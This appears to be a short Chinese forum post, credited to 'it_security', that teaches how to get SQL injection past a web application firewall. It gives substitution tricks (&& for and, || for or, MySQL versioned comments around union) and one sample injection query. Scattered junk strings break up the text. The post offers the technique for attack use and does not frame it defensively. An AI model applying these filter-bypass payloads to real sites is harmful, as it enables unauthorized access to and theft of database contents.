mysql注入对and or的过滤及uinon select等过滤的一个方法突破

admin

1.and 用&& 代替

2. or 用||代替

3.union select from 变成 /*!union*/这种。

$ Q4 F9 q! @1 `# j/ I+ B一个例子：
8 t- Q. {# }- q3 h5 f. s
" `8 _2 q6 M+ z/ v$ q. h/ select 1 /*!union*/ select 2 from adad where 1&&1

$ F- X2 C& o  b, Q$ b6 `摘自 it_security

3 f! ]2 B' H0 |# `8 j绕过waf的一个思路